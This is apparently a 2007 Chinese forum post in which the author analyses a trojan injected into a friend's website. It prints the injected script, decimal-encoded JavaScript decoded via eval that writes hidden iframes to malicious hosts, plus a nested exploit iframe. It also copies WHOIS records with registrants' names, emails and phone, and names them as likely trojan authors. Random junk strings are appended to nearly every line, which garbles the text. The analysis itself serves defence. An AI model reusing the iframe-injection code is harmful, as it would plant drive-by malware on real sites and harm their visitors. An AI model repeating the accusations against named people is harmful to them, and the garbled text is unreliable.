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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, e&8Meiv+d  
LX&O"YY  
http://www.areway.cn/?p=175 +lFBH(o]X  
cp~6\F;c  
b%"/8rK  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: ` -SC,qHw  
          DoO ;VF  
<script>t=’60,105,102,114,97,109,101, ,|?#+O{  
32,115,114,99,61,104,116,116,112,58,47,47, x5smJ__/  
102,114,101,101,46,117,45,117,117,117,46,99, lB/ ^  
110,47,101,114,114,111,114,46,104,116,109, gN(kRhp  
32,119,105,100,116,104,61,49,48,48,32,104, F g):>];<9  
101,105,103,104,116,61,48,62,60,47,105,102, N.]~%)K:{  
114,97,109,101,62′; EW4a@  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> IUh9skW5  
                                                                                                  ^2%)Nq;O  
<script>t=’60,105,102,114,97,109,101,32,115, 9fTl6?x  
114,99,61,104,116,116,112,58,47,47,102,114, be_h uZ  
101,101,46,117,45,117,117,117,46,99,110,47, PGxv4(%  
101,114,114,111,114,46,104,116,109,32,119, +jq@!P"}d  
105,100,116,104,61,49,48,48,32,104,101,105, =^*EM<WG)  
103,104,116,61,48,62,60,47,105,102,114,97, ?y>v"1+  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); vmOye/?k  
document.write(t);</script> 0;=]MEk?  
                                                                                                  YKayaI\*  
<html xmlns=” vZS/? pU~~  
http://www.w3.org/1999/xhtml $I#~<bW,  
“> %t1Z!xv_  
<head> >,k2|m  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> /FW$)w2{j  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> 2Q%M2Ua  
<title>首页 - 爱生活家庭网 pBBKfv  
                                                                                                                                                    ;Z"Iv  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 iGj,B =35  
转换字符串后的大概内容是(谁点击后果自付): =c#mR" 1  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… |t3}>+"?z  
                                                                                                                                  g}hNsU=$5~  
查询玉米u-uuu.cn的详细信息: +gBD E :  
Domain Name: u-uuu.cn qQo*:3/];  
ROID: 20070901s10001s64972306-cn yU7XX+cB7  
Domain Status: ok ND=JpVkvZ?  
Registrant Organization: 王雷 `-b{|a J  
Registrant Name: 王雷 aYpc\jJ  
Administrative Email: czlovexs@126.com C9k"QPE  
Sponsoring Registrar: 北京万网志成科技有限公司 \7xc*v [  
Name Server:ns.yovole.com Oo(xYy  
Name Server:ns1.yovole.com NL-PQ%lUA  
Registration Date: 2007-09-01 17:54 "la0@/n  
Expiration Date: 2008-09-01 17:54 XknNb{. r  
最后PING了一下地址 都没有什么…. .Q@]+&`|}i  
                                                                                                F>[^m Xw  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 9aIv|cS?  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> Xf{p>-+DL  
<script language=”javascript” src=” \ E5kpm  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script ErsJWp  
> 0lYP!\J3]%  
这个玉米应该有可能是木马作者的: |rhB@k  
foafau.info的详细信息: i^ILo,Q  
Access to INFO WHOIS information is provided to assist persons in RCK*?\m5  
determining the contents of a domain name registration record in the Y}yh6r;i  
Afilias registry database. The data in this record is provided by 3w[uc~f  
Afilias Limited for informational purposes only, and Afilias does not |@R/JGB^  
guarantee its accuracy.  This service is intended only for query-based M 0G`P1o  
access. You agree that you will use this data only for lawful purposes wxvVtV{u>|  
and that, under no circumstances will you use this data to: (a) allow, } MP_  
enable, or otherwise support the transmission by e-mail, telephone, or 3y:),;|5  
facsimile of mass unsolicited, commercial advertising or solicitations ab)ckRC  
to entities other than the data recipient’s own existing customers; or ga;t`5+d  
(b) enable high volume, automated, electronic processes that send F60m]NUM)c  
queries or data to the systems of Registry Operator, a Registrar, or 7pep\  
Afilias except as reasonably necessary to register domain names or }PDtx:T-  
modify existing registrations. All rights reserved. Afilias reserves AtAu$"ue  
the right to modify these terms at any time. By submitting this query, $}YN`:{  
you agree to abide by this policy. ]:?hU^H]<  
Domain ID:D22418703-LRMS ?=kH}'igq  
Domain Name:FOAFAU.INFO %){/O}I]>  
Created On:20-Nov-2007 16:05:42 UTC -,mV~y  
Last Updated On:20-Nov-2007 16:05:44 UTC [,~;n@jz  
Expiration Date:20-Nov-2008 16:05:42 UTC ^$oEM0h  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) fG.6S"|M  
Status:CLIENT DELETE PROHIBITED ^y|`\oyqwN  
Status:CLIENT RENEW PROHIBITED =ty{ugM<  
Status:CLIENT TRANSFER PROHIBITED V!+<  
Status:CLIENT UPDATE PROHIBITED  _qt  
Status:TRANSFER PROHIBITED s6 K~I  
Registrant ID:GODA-040110615 a~-k} G5  
Registrant Name:liu hong %^"i\- *|S  
Registrant Organization: 4m~p(r  
Registrant Street1:beijing kqC7^x  
Registrant Street2: 2U+Fa t@  
Registrant Street3: 'q8:1i9\[  
Registrant City:beijing lq  Av  
Registrant State/Province: Nlc3S+$`z  
Registrant Postal Code:100000 =G'J@[d{d  
Registrant Country:CN 1mfB6p1Z(  
Registrant Phone:+86.860108888777 'Q*lp!2>  
Registrant Phone Ext.: XwU1CejP0  
Registrant FAX: $Nj'_G\}  
Registrant FAX Ext.: />PH{ l  
Registrant Email:bbbshiji@163.com 5g9K|-  
Admin ID:GODA-240110615 Q5Mn=  
Admin Name:liu hong $"Ci{iE  
Admin Organization: oMq:4W,  
Admin Street1:beijing su8()]|0x  
Admin Street2: [e:ccm  
Admin Street3: [,z>msEB.  
Admin City:beijing 6-{wo)p  
Admin State/Province: {;JFoe+  
Admin Postal Code:100000 hrfSe$8  
Admin Country:CN &&96kg3  
Admin Phone:+86.860108888777 a'my0m  
Admin Phone Ext.: Q b5vyV `  
Admin FAX: v}^uN+a5  
Admin FAX Ext.: v?DA>  
Admin Email:bbbshiji@163.com "!Hm.^1  
Billing ID:GODA-340110615 Q 9JT6  
Billing Name:liu hong 8}Maj  
Billing Organization: np7!y U  
Billing Street1:beijing OF! n}.O(  
Billing Street2: 8..g\ZT  
Billing Street3: *zX^Sg-[  
Billing City:beijing UX ?S#:h  
Billing State/Province: -li;w tCS  
Billing Postal Code:100000 >+ Im:fD  
Billing Country:CN Thp!X/2O`  
Billing Phone:+86.860108888777 8&#)}A}x  
Billing Phone Ext.: ^p\n/#B  
Billing FAX: $1D>}5Ex  
Billing FAX Ext.: FJsg3D*@J  
Billing Email:bbbshiji@163.com %w/:mH3FA  
Tech ID:GODA-140110615 hBW,J$B  
Tech Name:liu hong p;2NO&  
Tech Organization: [Ue"#w  
Tech Street1:beijing :&O6Y-/B  
Tech Street2: :YmFQ>e?  
Tech Street3: 9NC'iFQ#  
Tech City:beijing $n<X'7@0  
Tech State/Province: z'Fu} ho  
Tech Postal Code:100000 rPJbbV",+^  
Tech Country:CN a  ,<u  
Tech Phone:+86.860108888777 M >s,I^  
Tech Phone Ext.: `g(r.`t^  
Tech FAX: Ar[$%  
Tech FAX Ext.: l;;"v) C8  
Tech Email:bbbshiji@163.com r@H7J 5<Y-  
Name Server:NS27.DOMAINCONTROL.COM cbX  <  
Name Server:NS28.DOMAINCONTROL.COM .+`Z:{:BC&  
Name Server: >=L<3W1  
Name Server: a0B,[i  
Name Server: gG,gL 9o  
Name Server:  'v&f  
Name Server: ]y/!GFQ  
Name Server: fq[,9lK  
Name Server: 9m2Yrj93  
Name Server: <\5E{/7Tl  
Name Server: "3uPK$  
Name Server: pQBhheiM  
Name Server: 9%bqY9NFd  
                                                                                                          OjY#xO+'  
接着下载每个文件里面的代码: /y5a~3  
一步一步看.. /m*+N9)  
Z E},x U%  
Q-$EBNz  
f`,isy[  
xz vbjS W  
vA@\V)s  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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